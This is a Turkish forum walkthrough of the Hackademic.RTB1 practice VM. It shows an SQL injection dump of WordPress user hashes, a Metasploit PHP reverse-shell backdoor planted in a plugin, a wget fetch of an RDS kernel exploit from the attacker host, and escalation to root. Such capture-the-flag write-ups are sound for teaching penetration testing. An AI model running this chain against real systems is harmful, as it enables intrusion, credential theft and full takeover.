Hacking Serisi #6 | Hackdemic.RTB1

Provido

Katılımcı Üye
21 Eki 2015
477
1
Oyun Bitti: Hackdemic.RTB1


Merhaba ve hoş geldiniz. Bugün, Hackdemic adlı VM’ye dayanan başka bir “oyun bitti” pentesting öğreticisi yazacağım (bu öğretici RTB1 Olduğundan Seviye 1 olacak, hala seviye 2’nin üstündeyim). Bu “mr.pr0n” tarafından oluşturulan oldukça yeni bir VM, RTB1 & RTB2 yi buradan indirebilirsiniz.

Hadi iyi şeylere geçelim, 2 VM kullanacağım:

Saldırgan: Backtrack 5 => 192.168.111.129
Kurban: Hackdemic.RTB1 => 192.168.111.131


(1) Döküm

Önce oldukça sınırlı olan saldırı alanına bir göz atalım (Sonuçlar burada ihmal edilmiş olsa bile, uniscorn ile tam bir UDP ve TCP bağlantı noktası taraması yaptığımı belirtmem gerek). Tamam, neyimiz var bir bakalım.



Kod:
root@bt:~# nmap -sS -sV -T5 192.168.111.131

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-11-15 21:59 CET
Nmap scan report for 192.168.111.131
Host is up (0.00046s latency).
Not shown: 998 filtered ports
PORT   STATE  SERVICE VERSION
22/tcp closed ssh
80/tcp open   http    Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:73:5A:74 (VMware)

root@bt:/pentest/web/nikto# ./nikto.pl -h http://192.168.111.131/Hackademic_RTB1/

- Nikto v2.1.4
---------------------------------------------------------------------------
+ Target IP:          192.168.111.131
+ Target Hostname:    192.168.111.131
+ Target Port:        80
+ Start Time:         2011-11-15 20:28:15
---------------------------------------------------------------------------
+ Server: Apache/2.2.15 (Fedora)
+ Retrieved x-powered-by header: PHP/5.3.3
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release)
  and 2.0.64 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ /index.php/\"><script><script>alert(********.cookie)</script><: eZ publish v3 and prior allow Cross Site
  Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive 
  information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.
+ /readme.html: This WordPress file reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ 6448 items checked: 1 error(s) and 9 item(s) reported on remote host
+ End Time:           2011-11-15 20:28:57 (42 seconds)
---------------------------------------------------------------------------



Bu çok fazla bilgi değil ancak devam etmek için bize yeterli bilgiyi veriyor. Etrafı biraz kurcaladıktan sonra sonunda “/readme.html” i kontrol ettim. Bu sayfa Wordpress’in yüklü sürümü için bir readme içerir. WordPress hakkında daha önceden tecrübem olmadı bu yüzden Google amcayı açtım ve biraz genel araştırma yaptım (işlevselliğini keşfetmek ve özellikle güvenlik açıklarını aramak için). Aşağıda html sayfasının ekran görüntüsünü görebilirsiniz, WordPress’in tam sürümünü bize bildirmesinin ne kadar yararlı olduğuna dikkat edin.



xvSUxR.png




(2) SQL – Foothold


Nazikçe söylemek gerekirse, birçok WordPress güvenlik açığı var. Bu yüzden spagettiyi duvara fırlatalım ve bakalım ne yapışacak, hehe. Bazı SQL- injection parametrelerini kontrol ettikten sonra “cat” parametresinin açıklı olduğunu buldum.



Kod:
root@bt:~# ls -l /var/www/
total 36
drwxr-xr-x 10 www-data www-data 4096 2011-06-04 17:28 beef
-rw-r--r--  1 root     root     1286 2011-11-08 16:31 evil.php
-rw-r--r--  1 root     root      177 2011-06-04 17:36 index.html
-rw-r--r--  1 root     root       20 2011-11-16 18:34 info.php
-rw-r--r--  1 root     root     5586 2011-11-16 18:13 phpmyadmin_swekey_rci_exploit.php
-rwxrwxrwx  1 root     root     6435 2011-11-15 21:27 rds.c
drwxr-xr-x  2 root     root     4096 2011-06-04 17:35 wstool

root@bt:~# /etc/init.d/apache2 start
 * Starting web server apache2



Bu gayet iyi bir başlangıç ve bu enjeksiyondan bir sürü bilgi toplayabiliriz. Genellikle böyle bir durumda (akademik olarak) yapacağım şey, veritabanının tüm içeriğini çöpe atmak, açıkça onu tekrar burada üretemem. Dikkatli okuyucularımın bu enjeksiyonla mümkün olduğunca uğramaya teşvik ediyorum. Aşağıda yapacağım şey, daha sonra kullanacağımız veritabanlarına ve tablolara yukarıdan aşağıya komple göstermektir.



Kod:
available databases [3]:
[*] information_schema
[*] mysql
[*] wordpress
         ||
         ||
         ||
Database: wordpress
[9 tables]
+-------------------+
| wp_categories     |
| wp_comments       |
| wp_linkcategories |
| wp_links          |
| wp_options        |
| wp_post2cat       |
| wp_post****       |
| wp_posts          |
| wp_users          |
+-------------------+
          ||
          ||
          ||
Database: wordpress
Table: wp_users
[22 columns]
+---------------------+---------------------+
| Column              | Type                |
+---------------------+---------------------+
| ID                  | bigint(20) unsigned |
| user_activation_key | varchar(60)         |
| user_aim            | varchar(50)         |
| user_browser        | varchar(200)        |
| user_description    | longtext            |
| user_domain         | varchar(200)        |
| user_email          | varchar(100)        |
| user_firstname      | varchar(50)         |
| user_icq            | int(10) unsigned    |
| user_idmode         | varchar(20)         |
| user_ip             | varchar(15)         |
| user_lastname       | varchar(50)         |
| user_level          | int(2) unsigned     |
| user_login          | varchar(60)         |
| user_msn            | varchar(100)        |
| user_nicename       | varchar(50)         |
| user_nickname       | varchar(50)         |
| user_pass           | varchar(64)         |
| user_registered     | datetime            |
| user_status         | int(11)             |
| user_url            | varchar(100)        |
| user_yim            | varchar(50)         |
+---------------------+---------------------+



Gördüğünüz gibi, tablo çok büyük. Bu yüzden aslında yararlı şeylere bakmalıyız. Aşağıdaki döküm bize veritabanında kayıtlı kullanıcılar için bazı giriş bilgilerini gösterir (sadece maxbucky bizim yüzeysel hashcrakimizi geçti).



Kod:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.111.131/Hackademic_RTB1/?cat=1" -D 
wordpress -T wp_users -C user_firstname,user_lastname,user_nickname,user_pass --dump

Database: wordpress                       
Table: wp_users
[6 entries]
+----------------+---------------+---------------+---------------------------------------------+
| user_firstname | user_lastname | user_nickname | user_pass                                   |
+----------------+---------------+---------------+---------------------------------------------+
| Max            | Bucky         | MaxBucky      | b986448f0bb9e5e124ca91d3d650f52c            |
| Jason          | Konnors       | JasonKonnors  | a6e514f9486b83cb53d8d932f9a04292 (napoleon) |
| Tony           | Black         | TonyBlack     | 8601f6e1028a8e8a966f6c33fcd9aec4 (maxwell)  |
| George         | Miller        | GeorgeMiller  | 7cbb3252ba6b7e9c422fac5334d22054 (q1w2e3)   |
| John           | Smith         | JohnSmith     | 50484c19f1afdaf3841a0d821ed393d2 (kernel)   |
| Nick           | James         | NickJames     | 21232f297a57a5a743894a0e4a801fc3 (admin)    |
+----------------+---------------+---------------+---------------------------------------------+



Devam etmeden önce bahsetmem gereken bir şey var. Bu VM’nin amacı, “/root” dizinindeki ibr dosyanın içeriğini okumaktır (key.txt). SQL veritabanı, root kullanıcı hesabına eşlenir. SQL-injection doğası gereği, aslında bu noktada dosyanı içeriğini okumak mümkündür. Ama bununla yüzleşelim, bu oldukça berbat, ninjalar kalıntıları yemez!! Bu arada veritabanına özel bir UDF kütüphanesi enjekte etmek için boşuna denedim, eğer herhangi biri hakkında herhangi bir giriş varsa bana mesaj atmaktan çekinmeyin. Her neyse, hadi “/etc/passwd” içeriğinin dökümünü (havalı bir teknikle olmsada) hızlıca gösterelim.



Kod:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin
avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin
nscd:x:28:493:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin
haldaemon:x:68:491:HAL daemon:/:/sbin/nologin
openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin
apache:x:48:489:Apache:/var/www:/sbin/nologin
saslauth:x:495:488:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin
smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin
sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:481::/var/lib/gdm:/sbin/nologin
p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash
mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash



(3) Fakir bir adamın Shelli


Bu yüzden biraz düşündükten sonra aklıma şu geldi, tarayıcımız aracılığıyla Wordpress’e giriş yapmak için SQL enjeksiyonundan çıkan bilgileri kullanabiliriz (İki kullanıcı giriş yapabilir, GeorgeMiller ve NickJames)



xvSlcq.png




Biraz uğraştıktan sonra, “eklentiler” sekmesinin mevcut eklentilerin kaynak kodu düzenlemenize izin verdiğini keşfettim (aslında, mevcut üç eklentiden sadece biri buna izin veriyor ancak ihtiyacımız olan tek şey budur). İyi haber şu, bu eklentiler dünya çapında okunabilir, böylece uzak bir tarayıcıdan yüklenebilir. Msfpayload ile bir METERPRETeR PHP-backdoor oluşturalım ve idarecimizi ayarlayalım. Bu noktada yapmamız gereken tek şey “textile1” kaynak kodunu kötü amaçlı PHP kodumuzla değiştirmek ve tarayıcımızdaki URL’ye göz atmak.



xvSt3Y.png


xvSZHv.png



Kod:
root@bt:~# msfpayload php/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 O

       Name: PHP Meterpreter, PHP Reverse TCP stager
     Module: payload/php/meterpreter/reverse_tcp
    Version: 12196, 12196
   Platform: PHP
       Arch: php
Needs Admin: No
 Total size: 1286
       Rank: Normal

Provided by:
  egypt <egypt@****sploit.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST  192.168.111.129  yes       The listen address
LPORT  9988             yes       The listen port

Description:
  Reverse PHP connect back stager with checks for disabled functions, 
  Run a meterpreter server in PHP


root@bt:~# msfpayload php/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R > 
           /root/Desktop/evil.php

####################################################################################################

msf  exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.111.129  yes       The listen address
   LPORT  9988             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.111.129:9988 
[*] Starting the payload handler...
[*] Sending stage (38553 bytes) to 192.168.111.131
[*] Meterpreter session 1 opened (192.168.111.129:9988 -> 192.168.111.131:33912) at 
    2011-11-15 20:27:52 +0100

meterpreter > shell
Process 2598 created.
Channel 0 created.
whoami
apache

uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

cd ../../../../../../../../../../../

ls
bin
boot
dev
etc
home
lib
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var

cd root
/bin/sh: line 6: cd: root: Permission denied



(3)Zengin adamın Sheli


Yani bu oldukça havalı “apache” ayrıcalıklarına sahip bir shellimiz var ancak yukarıda gördüğünüz gibi “/root” dizinine erişemiyoruz. Geriye kalan tek şey yerel bir “Linux Kernel 2.6.3” exploiti bulmaktır. Bu biraz kafamı karıştırdı, exploit-db’de geçerli bir exploit bulamadım ve bir süre umutsuzluğa kapıldım, hehe. Google’ın dostunuz olduğunu unutmayın, aşağıdaki ekran görüntüsüne bakın.



xvS4w6.png




Bu listedeki ilk link aslında tam olarak aradığımız şey, dahası link doğrudan “*.c” exploiti ile direkt olarak ilgili (ne kadarda yardımcı). Bu exploiti indirdim, adını “rds.c” olarak değiştirdim ve apache dizinime koydum. Her şey son oyunumuz için hazır, “fakir adamın Shelli” ne geri dönelim ve onu zengine çevirelim :p



Kod:
cd /tmp
wget 192.168.111.129/rds.c
--2011-11-15 17:15:27--  http://192.168.111.129/rds.c
Connecting to 192.168.111.129:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6435 (6.3K) [text/x-csrc]
Saving to: `rds.c'

     0K ......                                                100%  187M=0s

2011-11-15 17:15:27 (187 MB/s) - `rds.c' saved [6435/6435]

ls
orbit-gdm
pulse-PKdhtXMmr18n
rds.c

gcc rds.c -o rds
./rds
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved rds_proto_ops to 0xe09dab20
 [+] Resolved rds_ioctl to 0xe09c506a
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved rds_proto_ops to 0xe09dab20
 [+] Resolved rds_ioctl to 0xe09c506a
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...

whoami
root

cat /root/key.txt
Yeah!!
You must be proud because you 've got the password to complete the First *Realistic* Hackademic Challenge
(Hackademic.RTB1) :)

$_d&jgQ>>ak\#b"(Hx"o<la_%

Regards,
mr.pr0n || p0wnbox.Team || 2011
http://p0wnbox.com

...Game Over...



 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.